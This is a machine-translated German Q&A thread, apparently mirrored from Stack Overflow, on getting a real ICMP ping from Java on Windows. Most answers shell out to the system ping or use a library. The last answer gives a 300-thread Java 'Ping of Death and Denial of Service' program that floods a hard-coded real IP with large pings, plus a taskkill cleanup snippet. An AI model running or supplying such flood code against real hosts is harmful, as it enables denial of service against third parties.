it-swarm.com.de

Wie mache ich einen echten Java-Ping von Windows aus?

Ich habe ein Gerät in einem Netzwerk, das ich durch mein Java-Programm pingen möchte. Über meinen Windows-Befehl Prompt kann ich die Geräteadresse gut pingen und die Adresse gut tracert.

Online habe ich gesehen, dass Sie, um einen Ping durch Java durchzuführen, Folgendes tun müssen:

InetAddress.getByName(address).isReachable(timeout);

Wenn ich diesen Code für meine Geräteadresse verwende, wird in meinem Programm immer false zurückgegeben. Ich verwende die richtige IPv4-Adresse mit einem guten Timeout-Wert. Wenn ich eine localhost-Adresse verwende, funktioniert es auch einwandfrei.

Warum kann ich das Gerät über cmd pingen, aber nicht durch mein Programm? Ich habe an verschiedenen Stellen gehört, dass dies kein true ping ist.

Gibt es eine bessere Möglichkeit, einen Ping in Java zu emulieren?

Vielen Dank

28
Stephen Watkins

isReachable() verwendet ICMP ECHO REQUESTs , wenn das Privileg erhalten werden kann. Andernfalls wird versucht, eine TCP - Verbindung an Port 7 (Echo) des Zielhosts herzustellen.
Ihr Problem ist daher wahrscheinlich ein Konfigurationsproblem, bei dem nicht genügend Berechtigungen vorhanden sind, um dies auf dem Clientcomputer auszuführen, oder ein Problem mit Port 7 auf dem Server, wenn Ihr Client nicht über die Berechtigung zum Ausführen des ICMP ECHO REQUEST verfügt. In beiden Fällen müssen Sie wahrscheinlich die eine oder andere Seite auflösen, damit dies funktioniert.

Ich habe das Folgende auf OSX- und Linux-Clients getestet, und es funktioniert beim Testen der Verfügbarkeit anderer OSX-, Linux- und Windows Server-Maschinen. Ich habe keine Windows-Maschine, um dies als Client auszuführen.

import Java.io.IOException;
import Java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress Host = InetAddress.getByName(args[0]);
        System.out.println("Host.isReachable(1000) = " + Host.isReachable(1000));
    }
}

von dem, was ich gelesen habe hier . Es handelt sich offenbar um eine Windows-Einschränkung, und ICMP PING wird unter Windows nicht als Systemaufruf vor Windows 2000 unterstützt. Daher wird standardmäßig versucht, eine Verbindung zu Port 7 herzustellen, und diese Verbindung ist auf dem Computer blockiert, den Sie erreichen möchten. Java unterstützt den neuen systemeigenen Aufruf noch nicht. Die Berechtigung betrifft ein Unix-basiertes System, da root zum Senden von ICMP-Paketen erforderlich ist.

Wenn Sie Ihr eigenes Windows-eigenes JNIICMP PING für Windows 2000 und neuer rollen möchten, gibt es die IcmpSendEcho-Funktion .

27
user177800

Ich verwende diese Funktion (aus diesem Artikel ), wenn ich einen echten ICMP-Ping unter Windows, Linux und OSX benötige (andere Systeme wurden nicht getestet). 

public static boolean isReachableByPing(String Host) {
    try{
            String cmd = "";
            if(System.getProperty("os.name").startsWith("Windows")) {   
                    // For Windows
                    cmd = "ping -n 1 " + Host;
            } else {
                    // For Linux and OSX
                    cmd = "ping -c 1 " + Host;
            }

            Process myProcess = Runtime.getRuntime().exec(cmd);
            myProcess.waitFor();

            if(myProcess.exitValue() == 0) {

                    return true;
            } else {

                    return false;
            }

    } catch( Exception e ) {

            e.printStackTrace();
            return false;
    }
}
9
Mattias Ohlsson

Ein bisschen spät, aber ich stolperte darüber, als ich versuchte, dasselbe zu tun.

Eine Problemumgehung, die für mich funktionierte und die ich verwendete, war die direkte Verwendung des Befehlszeilen-Pings.

    public static boolean ping(String Host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", Host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}
2
bluphoenix

Ich habe viel schlechten Code zu diesem Thema gesehen. Der Code, der für mich funktioniert hat, ist (Website weiß nicht, um meine Codedatei korrekt zu analysieren): 

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}
1
Adrian

Für einen einfachen Ping von Java ohne Berechtigungen verwende ich http://www.icmp4j.org

Es ist sehr einfach zu bedienen:

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }
1
iLoveCode

Einer der Gründe ist, dass das von Ihnen angegebene Timeout zu niedrig ist. Ich hatte ein ähnliches Problem, aber als ich das Timeout auf einen geeigneten Wert erhöhte, gab der Aufruf von isReachable einen korrekten Wert zurück.

1
Nerrve

Die Verwendung dieser Option hilft nicht, wenn Sie eine öffentliche IP-Adresse mit einem Windows-Computer anpingen []:

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

Hinweis: In der Dokumentation heißt es:

Bei einer typischen Implementierung werden ICMP-ECHO-ANFORDERUNGEN verwendet, wenn das Privileg erhalten werden, andernfalls wird versucht, eine TCP - Verbindung herzustellen an Port 7 (Echo) des Zielhosts.

Ich habe es versucht, aber die Ergebnisse waren nicht genau.

Was für mich wirklich herausgekommen ist, ist die Klasse, die von unseren Mitbenutzern geschrieben wurde, die wahres ICMP-Ping sendet und je nach IP-Status wahr oder falsch zurückgibt.

Odd InetAddress.isReachable () issue

0

Der folgende Java-Code ist ein Beispiel für Ping of Death und Denial of Service unter Microsoft Windows. Dies wird zu Testzwecken verwendet, um einen Anti-Hack-Beweis zu erstellen und/oder die Leistung der Website bei ähnlichen Cyber-Angriffen zu testen.

// BEGIN Ping of Death and Denial of Service 
import Java.awt.AWTException;
import Java.io.BufferedReader;
import Java.io.IOException;
import Java.io.InputStreamReader;
import Java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

Wenn die Tests abgeschlossen sind. Möglicherweise möchten Sie den folgenden Code verwenden, um die Prozesse im Task-Manager zu bereinigen.

import Java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 
0
QA Specialist